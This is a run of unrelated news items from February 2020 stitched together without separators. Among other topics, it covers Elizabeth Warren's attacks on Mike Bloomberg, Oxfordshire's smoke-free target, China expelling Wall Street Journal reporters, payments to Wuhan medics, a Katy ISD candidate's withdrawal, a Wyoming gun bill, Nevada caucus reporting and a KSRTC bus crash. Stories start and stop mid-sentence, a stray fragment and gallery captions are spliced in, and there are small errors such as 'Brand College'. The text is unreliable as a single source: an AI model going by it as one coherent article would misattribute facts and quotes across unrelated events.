performance in Wednesday nights Nevada Democratic primary debate by holding a rally for her supporters on Thursday. Speaking to approximately 200 supporters, she railed against billionaires who dont play by the rules. You know, last night was a lot of fun. Ill tell you why. Because for me, its about accountability, she said. I have really had it with billionaires, regardless of party, who think that the rules dont apply to them. Ms Warren used the Nevada debate in Las Vegas to attack former New York mayor Mike Bloomberg, likening him to President Donald Trump for his sexist remarks and chastising him for using non-disclosure agreements to silence women who had filed harassment lawsuits against him. The excitement for the Massachusetts senator following the debate is a welcome development, as the campaign recently suffered substantial defeats at the Iowa caucus and in the New Hampshire primary. Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters She continued to lay into Mr Bloomberg at her event. When someone complains, throw a little money on it and put a gag in the womans mouth. Thats not right, and thats not going to be our candidate for President of the United States, Ms Warren said. Ms Warrens fiery attacks proved popular with many pundits and those who are critical of Mr Bloombergs campaign. Following the Iowa caucus, she tried to establish herself as the unity candidate, arguing she alone could unify the warring centrist and left wings of the Democratic party. With Mr Bloomberg surging in polls and gaining popularity among the Democratic donor class looking for an alternative to former Vice President Joe Biden, Ms Warrens open-firing on the former mayor of New Yorks campaign suggests shes abandoned that mantle, at least for now. Making an appearance on The View, she continued to voice her frustration with Mr Bloomberg. Yesterday, Mayor Bloomberg announced that everyone should drop out of the race except himself and Bernie Sanders and they should decide who the nominee will be. Well, I take exception to that. Ive been told to sit down and be quiet enough in my life. Im ready to stay in this fight, she said. Oxfordshire is planning to become the first 'smoke-free' county in England as local health chiefs want to kick the habit by 2025. Government officials hope to slash the number of people smoking in the UK to just five per cent of the population by 2030. But Ansaf Azhar, the county council's director of public health, wants Oxfordshire to achieve the target in just five years' time. Ansaf Azhar, the county council's director of public health, said the hope is nobody will be smoking cigarettes in Oxfordshire in five years' time Oxfordshire's Health Improvement Partnership Board met yesterday to discuss the benefits of achieving the 'smoke-free' target. The board consists members from Oxfordshire's five district councils, as well as the county council, Thames Valley Police, and local health organisations. Local officials claimed it would save the council millions of pounds on healthcare, workplace productivity, social care and even house fires. According to data from the charity Action on Smoking and Health (ASH), smoking costs the Oxfordshire economy a total of 121.7million each year. Mr Azhar said the plan, called the Oxfordshire Tobacco Control Strategy, was a 'step change' in how smoking was treated in the county. Mr Azhar told the board the poorest parts of Oxfordshire were hit the hardest by the health problems and the costs of the habit. And he added that Oxfordshire will carry on with existing methods, as well as making more smoke-free environments and helping smokers quit. Approximately 10 per cent of the county smokes regularly at the moment, which equates to approximately 54,804 people, according to the report. The report, presented to the board, also revealed 2,132 people died from smoking-related causes in Oxfordshire between 2012 and 2017. ARE SMOKING RATES FALLING FASTER THAN EVER? Smoking rates in the UK are falling faster than they have in more than a decade, according to official figures from the Government. Figures in September showed just 15 per cent of the population regularly smoked cigarettes at the end of July - down from 17.2 per cent in 2018. This meant 200 people quit the deadly habit every hour in 2019, cutting the number of smokers from 7.8million to 6.8million in a year. Statisticians said if the trend continued to the end of the year, it would be the biggest drop since 2008-2009 when it plummeted from 24.2 to 22 per cent. Around 7.4million people in the UK regularly smoke tobacco, along with about a billion people mostly men worldwide. Government initiatives to cut smoking rates have been introduced regularly over the past 15 years in the UK. Advertisement A breakdown of the 121.7million costs of smoking to the Oxfordshire economy includes 25.7million spent on NHS care. A further 7.4million cost to the local economy comes from paying for social care for the people struck by smoking related illness. 86million is lost from people out of work with smoking related illnesses, deaths, and even smoking breaks at work causing a loss in productivity. It is also estimated that smoking related house fires cost the Oxfordshire economy 2.7million. ASH also said 23 tonnes of waste, or enough to fill 421 wheelie bins, is gathered in the form of cigarette butts in Oxfordshire each year. Around 7.4million people in the UK regularly smoke tobacco, along with about a billion people mostly men worldwide. Government initiatives to cut smoking rates have been introduced regularly over the past 15 years in the UK. Health warnings on packaging became mandatory in 2002, adverts were banned in 2003 and smoking indoors was banned in 2007. And officials followed up the measures in 2017 with a policy that meant all branded packaging had to be replaced with plain greenish-brown boxes. Smoking tobacco is the biggest avoidable cause of cancer and is known to produce chemicals which cause at least 15 different forms of the disease. It causes around 70 per cent of all cases of lung cancer, which has the highest death count of any cancer. People are drawn to smoking because nicotine can make them feel good, but it's easy to become addicted and very difficult to quit once smoking becomes a habit. Calcutta Tea Traders' Association (CTTA) on Friday said that Tea Board should continue to fund the auctioning system in six centres in the country till an alternative mechanism is put in place. Nearly 600 million kg of tea is being handled annually in the six auction centres at present, CTTA secrtary J Kalyansundaram said. "These centres use the NSE.IT platform which is completely funded by Tea Board. If the board decides to stop funding the auctioning system, there will be a sudden vacuum which the tea industry cannot afford to have," Kalyansundaram told PTI. CTTA oversees the auctioning system in the Kolkata centre. Recently, Tea Board chairman P K Bezbaruah said that the government should stop funding the auctions and private parties with sound financial capabilities should be encouraged to come forward. "The operating expenses of the auctions are now borne by the Tea Board. It charges two paise per kg of tea sold from the buyers, brokers and sellers to recover a part of the cost," Kalyansundaram said. He said there is no question of going back to the manual auction system. "The existing platform is functioning properly and should not be shut down. If the board withdraws its financial support, the industry has to come forward. Things should not come to such a situation," Kalyansundaram said. The NSE.IT platform is running at the Kolkata, Guwahati, Siliguri, Cochin, Coonoor and Coimbatore auction centres. The only private platform floated by mjunction at Jorhat in Assam is yet to start functioning, he said. "Currently, at least 48 sales per year take place at each of the auction centre," he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Reporters Without Borders (RSF) on Friday urged China to call off its decision to expel three Beijing-based Wall Street Journal reporters after authorities there denounced an opinion piece the New York-based newspaper published as "racially discriminatory." The triple expulsion came one day after the U.S. government listed five U.S.-based Chinese state media outlets as foreign embassies because they work as mouthpieces for the Chinese government's propaganda efforts. Critics say China's move constitutes a serious violation of press and speech freedom while sending a chilling effect among journalists who still work there. And it may also end up hurting China's own image and fueling anti-China sentiments in the world, the critics add. Not justifiable "This is a decision that absolutely cannot be justified. The three journalists expelled by China are in no way responsible for the opinion piece. And therefore, there's no reason at all why they should be punished for this," said Cedric Alviani, head of RSF's East Asia bureau in Taipei. The triple expulsion was announced Wednesday by foreign ministry spokesman Geng Shuang, who said the Journal's op-ed, titled "China is the real sick man of Asia," carried a "racially discriminatory" and "sensational" headline. While slamming the newspaper for failing to issue an apology, Geng said the ministry has ordered its three reporters deputy bureau chief Josh Chin and reporters Chao Deng and Philip Wen to leave China by Sunday. Chin and Deng are U.S. citizens; Wen is Australian. The trio played no role in the opinion piece, authored by Brand College professor Walter Russell Mead. In the article, Mead was critical of the way China handled the COVID-19 outbreak and its "ineffective" efforts, as well as the vulnerability of country's financial market. Geng didn't say if Chinese authorities had issue with those criticisms. Freedom of expression Apparently in his defense, Mead tweeted on Feb. 9: "Apropos of nothing in particular, a word to my new Chinese followers: at American newspapers, writers typically do NOT write or approve the headlines. Argue with the writer about the article content, with the editors about the headlines." VOA's email to seek Mead's response went unanswered. Mead's followers responded to his tweet with mixed reaction. One wrote "you're racist and you know it" while another said "China set the bar for fascism and racism. Let's hear from Uighurs, Tibetans, or just people of any faith in China about their oppressive dictator." The Journal rebutted in a Thursday editorial, titled "Banished in Beijing," that China imposes the punishment on its reporters "so that they can change subject from the Chinese public's anger about the government management of the coronavirus scourge." Accepting criticism RSF's Alviani said China has to learn to accept criticism, which is normal in democratic societies, where free and independent media serve the interest of the public, not that of the government, especially during a global health crisis like this. And the best way for China to respond is to reason with the author by publishing counter-arguments either on the Journal or many other media outlets. Li Datong, a senior Chinese journalist, agreed, calling the ministry "a bully" and its decision "a folly." "This has become a laughing stock on the internet. The ministry spokesman and its action are baffling and make no sense at all," he told VOA. "Isn't China a sick man now? Tens of thousands of people are [sick]. Many more are probably undisclosed in a cover-up. These are hard facts. In what other way can you put it?" he added. Li said that China has shot itself in the foot as the decision proves that China truly is a country without freedom of speech and press, which not only tarnishes its national image, but fuels anti-China sentiments. China is ranked 177th out of 180 countries in RSF's 2019 World Press Freedom Index. China's propaganda efforts And it is not an isolated incident, as China often uses intimidation among reporters as a tool to deliver its propaganda efforts or global media influence campaign, said Huang Jaw-nian, an associate professor of National Chengchi University, who specializes in the subject of media politics. "There have long been tactics China uses to pressure western media into negative reports about China. The goal [of its global media influence campaign] is to maintain China's national image," Huang said. Before the Wall Street Journal, correspondents from other foreign outlets such as those of the New York Times and Bloomberg had been expelled from China for their investigative reports deemed negative in the eyes of the party's top leadership or authorities in Xinjiang. By RSF's estimate, no fewer than nine journalists have been ordered to leave China since 2013 after Chinese authorities failed to renew their press visa on expiry. The professor said, in the short term, such expulsion tactics continue to make Chinese authorities look bad, but in the long run, it creates a chilling effect among journalists who remain in China. "Individual media professionals may take reference from the example. So it derives a 'killing the chicken to warn the monkey' effect. And in the long run, a self-censorship or a chilling effect may take form," Huang warned. Zhou Qiong, a doctor of department of respiratory medicine at Union Hospital affiliated to Tongji Medical College of Huazhong University of Science and Technology, who is a member of "assault team" in the fight against the pneumonia caused by the novel coronavirus in Wuhan, central China's Hubei Province. Photo by Cheng Min/Xinhua via Getty Chinese healthcare workers are on the frontlines of battling the coronavirus outbreak and several have lost their lives to the virus. On Monday, the government announced that it will pay $716 to families of healthcare providers who have died, Shanghaiist reported. Medics who have been infected, but have not died, will receive $429. Visit Insider's homepage for more stories. Chinese healthcare providers are on the frontlines of the coronavirus outbreak, and several have lost their lives trying to save others. The government is sympathetic to the families of those medics who sacrificed their lives at work to the tune of $716 (or 5,000 yuan), according to the English news outlet Shanghaiist. On Monday the Wuhan Municipal Committee's Organization Department announced the new "sympathy" measures that it was taking to aid families of medical workers who have been infected or killed by the virus. Workers who have been infected but haven't succumbed to the virus will also be compensated under the new efforts. They'll receive $429 (or 3,000 yuan), according to the Chinese-language People's Daily Client. The death toll of a coronavirus outbreak sweeping China has reached 2,130, with more than 75,000 people infected worldwide. Eight people have died outside of mainland China. Among the healthcare providers who have died is Li Wenliang, a 34-year-old doctor at the Central Wuhan Hospital. He was one of the first people to sound the alarm about the new outbreak in December, but he was silenced by the police in Wuhan and forced to sign a letter saying he was "making false comments." Li caught the coronavirus after treating patients and died on February 7. On Weibo, a Chinese social media site, users were shocked by the amount being paid to the families of affected healthcare workers, Shanghaiist reported. "Is this missing a few zeros?" one asked. Story continues "So the life of a doctor is only worth 5,000 yuan now?" another wrote, according to Shanghaiist. According to Business Insider's Aria Bendix, China has less than two physicians for every 10,000 residents. When the outbreak first began, it was unknown that the virus could spread from human to human and some medical workers went without protective gear. In Wuhan, which has been in quarantine since Jan. 24, doctors are overwhelmed with patients. Some hospital workers have been wearing adult diapers because there is no time to use the bathroom. "The hospitals have been flooding with patients, there are thousands, I haven't seen so many before," one doctor told BBC News early in the quarantine. "I am scared because this is a new virus and the figures are alarming." Read the original article on Insider A Katy ISD school board candidate has dropped out of the election after his daughter was harassed and he received a racist email. R.C. Simmons was running for Position 3, which is currently held by Ashley Vann. On his Facebook page, R.C. Simmons for Katy ISD Board of Trustees, Simmons stated that his 17-year-old daughter was approached on campus by an adult who harassed the girl about Simmons on Feb. 17. In response to the harassment, Simmons stated that he filed a police report and notified Katy ISD. Simmons added that the school board race should be about doing what is best for the children in the district, and personal attacks should be kept out of the election. This race is about the welfare and well being of our children, he said. Lets discuss those issues. Lets discuss the advocacy of the 9,000 plus special needs children in our district. Lets discuss the need for trades and guidance counseling in our district in order to reduce juvenile delinquency and fill our future district jobs with the very students that we taught. The next day, Simmons said, he received an anonymous racist email with an image of his campaign logo defaced with the N-word. Simmons posted the image on his Facebook page and wrote, So after dealing with the cowards that approached my daughter today, I got an email from another coward with the picture that is attached to this post. The email was encrypted, and Simmons was unable to trace its source. School board is an unpaid position a thankless job. You are away from your family often, you deal with being yelled at, called names, and a myriad of other discouraging things, he said. I didnt sign up as a candidate to get into politics. By very definition, a school board candidacy should be non-partisan and solely about the children and their futures. Eight hours after sharing the image, Simmons announced that he was removing himself from candidacy for the safety of his children. To protect my children and my sanity I am withdrawing from the race and will continue my fight for the students in our district through trades programs, apprenticeships, learning and enrichment programs and much, much more, he said in a Facebook post. He added, This coward did not stop my cause but instead invigorated me to educate more people in our district on cultural awareness, inherent bias, and treating others with dignity and respect. Simmonsonly opponent, Vann, will now win the election by default. Vann expressed sympathy for Simmons and his family. It is important for me to let everyone know where I stand on personal attacks against the candidates and their children, she said. As a victim of this very subject during my last election, I know how hurtful people can be and how painful it is for them to attack your child. This is something I would never condone and certainly not put another parent or candidate through. Katy ISD board member Dawn Champagne also spoke out against the harassment and racism. This is a school board election, which is about children- our innocents. I would think that people who care about school boards are people who care about children, and people who care about children are loving, kind and gentle people, Champagne said. But whoever sent this is a vicious person. Former Katy ISD board member Rebecca Fox also decried the actions against Simmons, saying, I cannot be silent when hate is trying to divide our school district through school board elections. It happened to a candidate yesterday, and it happened to me last year. During the campaign I was gouged, lied about, bullied, threatened with physical harm, screamed at and even a death threat. Simmons urged community members to brace back against harassment and racism by getting involved in the community and by voting in the school board elections. There are several foundations, boards, and committees within the district that will allow your voice to be heard and affect positive change, he said. The most important thing that you can do however, is vote. You have a voice at the ballot box. Use it. claire.goodman@chron.com You may celebrate National Margarita Day with an office happy hour, or bring treats to your kids school for National Candy Month, or to top them all, take National Relaxation Day seriously on Aug. 15 and get a few extra minutes of shut-eye. Many of these lighthearted and fun holidays are meant to be promoted by brands and individuals on social media. However, there are a few national days and weeks that can help make a small yet positive change in our community. Lets actually celebrate Random Acts of Kindness Week during the week of Feb. 17 by connecting with a stranger of a different generation. According to the San Francisco Department of Disability and Aging Services, older adults are the fastest growing age group in our city, and this year, almost a quarter of its residents are age 60 or older. Nearly 30% of older adults in our neighborhoods are living alone, which increases the likelihood of health-damaging isolation and loneliness. Conversely, Cigna released the results of its latest national Loneliness Index in 2019 and reported that members of Generation Z (ages 18 to 22) have the highest rates of loneliness at 79%. Millennials (ages 24 to 39) closely followed at 71%. A 2017 study found that 77% of adults wish there were more opportunities in their community for people from different age groups to meet and get to know one another, and very few of these people know how to make these connections happen. There is clearly a need to bring the oldest and youngest together, but these interactions arent naturally occurring in our city. In my work as the founder of the local nonprofit, My Life, My Stories, Ive witnessed the power of intergenerational relationships. We hand-match every young volunteer with a senior and over the course of several months they create a memoir of the seniors life history. For example, Ling, an Asian American in her 60s, has formed a bond with her volunteer, Sophie, a Millennial who recently moved to the Bay from New Orleans, over their shared love of cats and local favorite restaurants. Hailey, a Gen Zer originally from the east coast who works in tech, has been learning about the nations history of racial injustice by listening to Annette tell the story of her father, Earnest Williams. Through our intergenerational programs, Annette is documenting her fathers journey as an African American coal mine worker who was denied workers comp for a workplace injury and instead was wrongly sentenced to an insane asylum in West Virginia for more than 30 years. Over the past few years of growing My Life, My Stories, Ive surprisingly learned that its not hard for people of different life experiences to find common ground. The only requirements are time and an open mind two things that are sometimes hard to come across in a world that is hectic and confrontational. Having a week dedicated to random acts of kindness gives us an excuse to go beyond our comfort zone and reach out to someone that we normally wouldnt purposefully cross paths with in our daily lives. This could be your elderly neighbor that lives on the floor below you. Or it could be the stranger you sit next to during your commute on the bus. As a Millennial myself, I often find that I have to intentionally extend beyond my circle of friends or the places I frequently visit during my routine days. In a city like San Francisco that is so age segregated, its easy to go several days without seeing an elderly person in neighborhoods such as the Mission. Not to mention, less than a quarter of top tech companies have a median employee age above 35 years old. If you work or live in an ageist community, make a trip to your local branch of the library, become a member at a community center, or join My Life, My Stories at our next monthly intergenerational event. In a culture that routinely ignores the needs of the old, its our duty as young people to make the first move. The first step is being genuinely interested in getting to know someone. The sweet lady you steamroll past on your way to yoga may know what it was like to suffer from polio as a child. The gentleman enjoying a solo dinner may be the first openly gay professor in American history. These two seniors are among us and their incredible and inspiring stories are hidden in plain sight. This week, consider taking an extra moment to pause, say hello and listen. Brittany Bare is the founder and executive director of the San Francisco Bay Area nonprofit, My Life, My Stories. Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "The Fixed Services Worldwide: Trends and Forecasts 2019-2024" report has been added to ResearchAndMarkets.com's offering. This report examines key trends and drivers and provides comprehensive fixed telecoms market forecasts worldwide and for eight individually modelled regions: North America, Latin America, Western Europe, Central, and Eastern Europe, developed Asia-Pacific, emerging Asia-Pacific, the Middle East, and North Africa and Sub-Saharan Africa. This report provides: A 5-year forecast of 110 fixed KPIs for the worldwide telecoms markets and eight geographical regions An in-depth analysis of the trends, drivers and forecast assumptions for each type of fixed service, and for eight geographical regions An overview of operator strategies and region-specific topics, in order to highlight similarities and differences by means of a cross-region comparison A summary of results, key implications, and recommendations for fixed operators. Data Coverage Fixed Connections Voice, broadband, IPTV, dial-up Narrowband voice, VoBB DSL, FTTP/B, cable, BFWA, 5G, other Fixed Revenue Service revenue, retail revenue Voice, broadband, IPTV, dial-up, BNS DSL, FTTP/B, cable, BFWA, other Fixed Voice Traffic Outgoing minutes, MoU ASPU Fixed ASPU Key Topics Covered Worldwide Trends Market overview: growth in the total fixed retail revenue will be driven by rising fixed broadband penetration in developing markets The FTTP/B share of fixed broadband connections will increase from 56% in 2019 to 64% in 2024 North America will be the only region with significant fixed broadband ASPU growth due to its limited market competition Fixed broadband penetration will continue to grow in developing regions; operators in developed markets will focus on the consumer experience Key mergers, acquisitions, and market entries Regional Trends Western Europe: only the fixed broadband market offers potential for significant revenue growth Central and Eastern Europe: total revenue growth will be driven by increasing fixed broadband coverage Emerging Asia-Pacific rising levels of competition and regulatory pressure will limit the growth in fixed broadband ASPU Developed Asia-Pacific: fixed broadband and business services revenue will grow, but not by enough to offset declines in legacy services Middle East and North Africa: the fast adoption of fixed broadband will help to maintain service revenue growth Sub-Saharan Africa: the number of fixed broadband connections will more than double from 2018 to 2024, but penetration will remain low Latin America: fixed broadband revenue will account for the majority of the total telecoms retail revenue, driven by expansions in-network coverage North America: fixed broadband will be the main driver of the total telecoms revenue growth, thanks to growth in both ARPU and household penetration For more information about this report visit https://www.researchandmarkets.com/r/luwzn3 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Proper structures must be instituted to ... Health Ministry of Israel reported its first confirmed case of the Coronavirus on Friday. The patient was one of the 11 travellers who returned to the Jewish state after being quarantined for two weeks on cruise ship Diamond Princess. Meanwhile, the deadly virus has reportedly infected over 76,600 and killed at least 2,200 people with 11 outside mainland China. Read: Coronavirus: South Korea Confirms 48 New Cases, Total Spikes To 204 10 others detected negative The plane carrying all the 11 patients landed on Ben Gurien Airport where travellers were put in vans and taken to Sheba Medical centre. Soon after arriving in the hospital, they gave a breath test to determine whether they are infected or not. However, the test result showed positive results for a woman and negative for all other ten citizens. According to reports, all the 11 will be quarantined for the next 14 days. The Israeli Health ministry later released a public statement which read, An examination at the Health Ministrys main laboratory found that one of the passengers tested positive. The lab is continuing to confirm the test results. The patient is in quarantine and under the supervision and this is not an infection that occurred in Israel. Read: Iran Reports 2 More Deaths, 13 New Cases Of New Coronavirus Read: Coronavirus Outbreak: Over 400 Cases Confirmed In Chinese Prisons The number of infections linked to the religious sect in Daegu increased and South Korea reportedly confirmed 48 more cases on February 21. According to international media reports, 39 of the new cases confirmed were connected to the Church of Jesus in Daegu and the number of country's overall figure spiked to 204. The virus outbreak also led to the residents staying indoors, leaving the streets of the fourth-largest city abandoned. Daegu Mayor Kwon Young-jin has also reportedly requested residents to stay indoors. While speaking to the media outlet, Kwon also said that the city was in an 'unprecedented crisis' and that is why the authorities have asked them to stay at home isolated from their families. A resident further said that the city looks like someone dropped a bomb in the middle of the city and it looks like a 'zombie apocalypse'. Read: Young Doctor In China's Wuhan City Dies Of Coronavirus CHEYENNE The House Judiciary Committee voted 7-2 on Thursday night to advance legislation granting the state's attorney general the authority to protect Wyoming citizens gun rights against federal government encroachment, giving the Wyoming Legislature its second piece of firearm preemption legislation this session. Reps. Sara Burlingame, D-Cheyenne, and Charles Pelkey, D-Laramie, were the lone "no" votes on the bill. When it passed an introductory House vote 48-17 in its original form last week, the bill would essentially have allowed the firing of any peace officer in Wyoming who attempted to uphold federal laws considered by the legislation to be an infringement of ones right to bear arms, a definition that included exclusive taxes on firearms, tracking of gun owners or any federal rule forbidding the possession of ones firearms. The basis of the legislation according to the original draft of the bill was grounded in the spirit of the 10th Amendment of the U.S. Constitution, with the sponsors of the bill offering a lengthy explanation of the bills constitutional legitimacy in a several-hundred-word section of the bill. After objections from members of law enforcement, however, Rep. Mark Jennings, R-Sheridan, substantially altered the legislation prior to its first scheduled hearing earlier this week, offering eight pages of amendments intended to pare down the scope of the bill. With too little prior notice to work with, the bill was laid back by House Judiciary Committee chairman Dan Kirkbride, R-Chugwater, until Thursday. The revised draft legislation released to the public minutes before the meeting Thursday night removed much of the teeth from the original bill, changing its focus to a general authorization for the Wyoming attorney general to file a lawsuit against the federal government for any actions deemed to be an infringement on ones Second Amendment rights. This is not nullification, Jennings said Thursday night. This is saying to the feds, for Wyoming citizens, to be cautious when trampling on Wyoming citizens Second Amendment rights. Thursdays changes would have differentiated Wyomings law from other, copycat versions of the Second Amendment Preservation Act seen in states like Texas and Missouri, where similar legislation was filed earlier this year. A number of other states, however, have had such laws on the books for a number of years. The best known might be in Kansas. Ratified in 2016, the legislation has largely been seen as symbolic, particularly after two men's firearm-related convictions were upheld after they mistakenly believed the states law could shield them from the National Firearms Act of 1934, which places national-level regulations on specific types of firearms. Also presenting issues could be the Supremacy Clause of the U.S. Constitution, which explicitly prohibits states from interfering with the federal government's exercise of its constitutional powers. Kansas attorney general appealed that decision to the U.S. Supreme Court last year; however its brief which included the attorneys general from the states of Arkansas, Idaho, Louisiana, Montana, South Carolina, Texas and Utah was eventually denied a hearing by the court. However, some in attendance Thursday night like former state Sen. Marti Halverson, R-Etna argued that there was still space for alleged infringements to be challenged, adding that the entire concept of federalism demands this bill. Weve seen what has happened in states like New York and Virginia, Halverson said. I think we are ripe to prevent anything like that from happening here. Our founders would not recognize the country in which this bill is being brought. They are surely rolling in their graves if they think anyone would not support this bill. Sheridan County activist Gail Symons argued the legislation was ultimately unneeded in any instance the state wanted to take on the federal government, arguing that if intent of the bill was to make a statement, it would better be served as a joint resolution instead of a law. Others, like Rep. Chuck Gray, R-Casper, argued that the attorney generals office has lacked initiative to stand up for Wyoming values, and that legislation was needed to enforce those values. Rep. Charles Pelkey, D-Laramie, however, argued there was insufficient language in the bill to compel the states attorney general to take any action at all. Like the other bill, Im voting against this one, Pelkey said. Though Im not holding my nose as much. The bill is the second piece of preemption legislation regarding firearms to reach the floor of the House of Representatives this session, joining a bill from Rep. Tyler Lindholm, R-Sundance, banning all potential gun buyback programs in the state. The deadline for bills to pass out of their house of origin is Thursday. Love 3 Funny 0 Wow 0 Sad 1 Angry 1 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The move to a phone-based reporting system follows widespread concern about the caucus process after a meltdown in Iowa earlier this month. But even relying on a phone hotline is not foolproof: In Iowa, some caucus chairs waited on hold for hours while trying to report results, and operators were flooded with nuisance calls after the phone number was leaked online. The 2020 caucus process is far more complex than it has been before; Democratic National Committee rules put in place for this presidential cycle require reporting two sets of raw vote totals for each candidate in addition to the delegate figures, and Nevadans were able to cast their ballots early for the first time. A Nevada Democratic official said the party and its volunteer precinct leaders would still use the Google application to calculate results and commingle early-vote and in-person caucus totals. But the results the party plans to publicly report Saturday, the official said, will come from the numbers sent by phone and text message from the states 2,097 precincts. After their precinct caucuses conclude, the precinct chairs will call a hotline to securely report their results to a trained operator, will submit via text a photo of their caucus reporting sheet to state party staff through an established MMS reporting hub, and then they will return their caucus reporting sheet and other materials to their Site Lead, Ms. Mounce wrote. Nevada Democratic officials had long planned to report caucus results via a smartphone app build by Shadow Inc., but abandoned those plans when Shadow was part of the high-profile chaos in Iowa that led to days of delays before full results were known. The Nevada state party then announced it would report results through the Google Forms tool. Technology experts from Google, the Democratic National Committee and DigiDems, the incubator of technology talent for Democratic campaigns, are in Las Vegas to help support the Nevada caucuses. Over the last week the state party has held several training sessions for volunteers who are overseeing the caucuses. The precinct leaders have been told how to use and operate iPads and given instructions on how to tabulate and enter their caucus results into the Google Forms application. Manoj Viswanathan By Express News Service KOCHI: It was just another Wednesday evening at the Shantinagar Bus Station in Bengaluru. The KSRTC Volvo bus to Ernakulam (No: RS 784), which was scheduled to start at 8 pm, had been delayed by around an hour as many passengers had arrived late. The bus, which had started from Ernakulam on Monday evening and reached Bengaluru the next day, was initially scheduled to leave on Tuesday. However, due to the limited number of bookings, the trip was postponed to Wednesday. This time, all seats were booked, and staff members Baiju and Gireesh were checking the reservation chart and helping passengers settle down. Despite the delay, the mood in the bus was jovial, the passengers remember. The bus was expected to arrive at Madiwala by 8.30 pm, but it came an hour late, said Razeem Sait, an interior designer. The bus was full by then. I slept almost immediately after boarding. Later, they stopped at a vegetarian hotel in Krishnagiri for dinner, he said. When things went south However, it wasnt long before everything went haywire. Around 3.15 am, I heard a deafening sound and was suddenly thrown into the aisle of the bus. It was pitch dark, but I could see that everything was crumbling around us. I heard screams and groans of pain. Bags, seats and people were all falling on each other. A few were struggling to get out of the mangled bus. I tried to get on my feet, but my entire body was aching and I started to feel very dizzy. In the end, it was the rescue workers who brought ladders and took me out, said Razeem Sait. ALSO READ | KSRTC bus tragedy: A change in plan cost Gopika her life Hyderabad-based Devi Kanga, who stays at Chittoor in Kochi, was admittedly lucky to escape. The right side of the bus was completely damaged. Though my seat number was 10, I was sitting on the left side, which saved my life. Though I was thrown off my seat, I didnt suffer any major injury. I managed to wriggle out from the bus in 10 minutes and the rescue workers took me to the hospital. My husband, who works at Aster Medcity, came and picked me up, she said. Allen Charles, who was admitted to KMC Hospital, Coimbatore, echoed Devis sentiments. The sight of the mangled remains of the bus will frighten you. We were lucky to escape with minor injuries, he said. Pravin, 41, an engineer with IBM in Bengaluru, was on his way to his house at Thiruvaniyoor to celebrate Shivaratri with his family. As he was sitting in the front row, he sustained grievous injuries. He has suffered multiple fractures on his hand and one on his head. He is currently undergoing a surgery at Royal Care Hospital in Coimbatore, said Arun, Pravins brother. It may have been a stroke of luck that helped them escape the horrific tragedy that unfolded at Avinashi near Coimbatore on Thursday. But there is yet another mountain to climb -- dealing with the images of the lifeless bodies of their fellow passengers that refuse to leave their minds. KSRTC Volvo multi-axle bus Trip code: 2000BNGEKM Vehicle no: RS 784 Regn No: KL 15 A 282 Timeline 9.00 pm Wednesday Bus starts from Shanti Nagar bus stand, Bengaluru 9.20 pm Bus reaches Madiwala 10.45 pm Bus stops at a hotel in Krishnagiri, TN, for dinner 3.20 am Thursday Container truck rams the bus 3.30 am Local residents start rescue operation 3.45 am Police and rescue workers arrive, use gas cutters to cut the mangled bus body and take out the passengers 4.30 am KSRTC Palakkad depot receives information about the accident Fact-finding team The fact-finding team of the Motor Vehicles Department from Palakkad visited the accident spot in Avinashi near Tirupur Huntsvilles Mardi Gras parade began in a kitchen. Eight years ago, Blount Hospitality House executive director Marydae Sneed had the idea to give North Alabama residents a Mardi Gras experience here. Her thinking was, Most of our citizens will never travel south to Mobile or New Orleans. Sneed and her husband Ben Blank invited Huntsville Mayor Tommy Battle and his wife Eula Battle over to their home to discuss the idea over a cocktail. And standing in our kitchen, we all got excited about the possibilities of a Mardi Gras celebration in our growing downtown, Sneed says. At that time, Decatur had just had their first parade, which had been a great success, so we felt there certainly was a market for 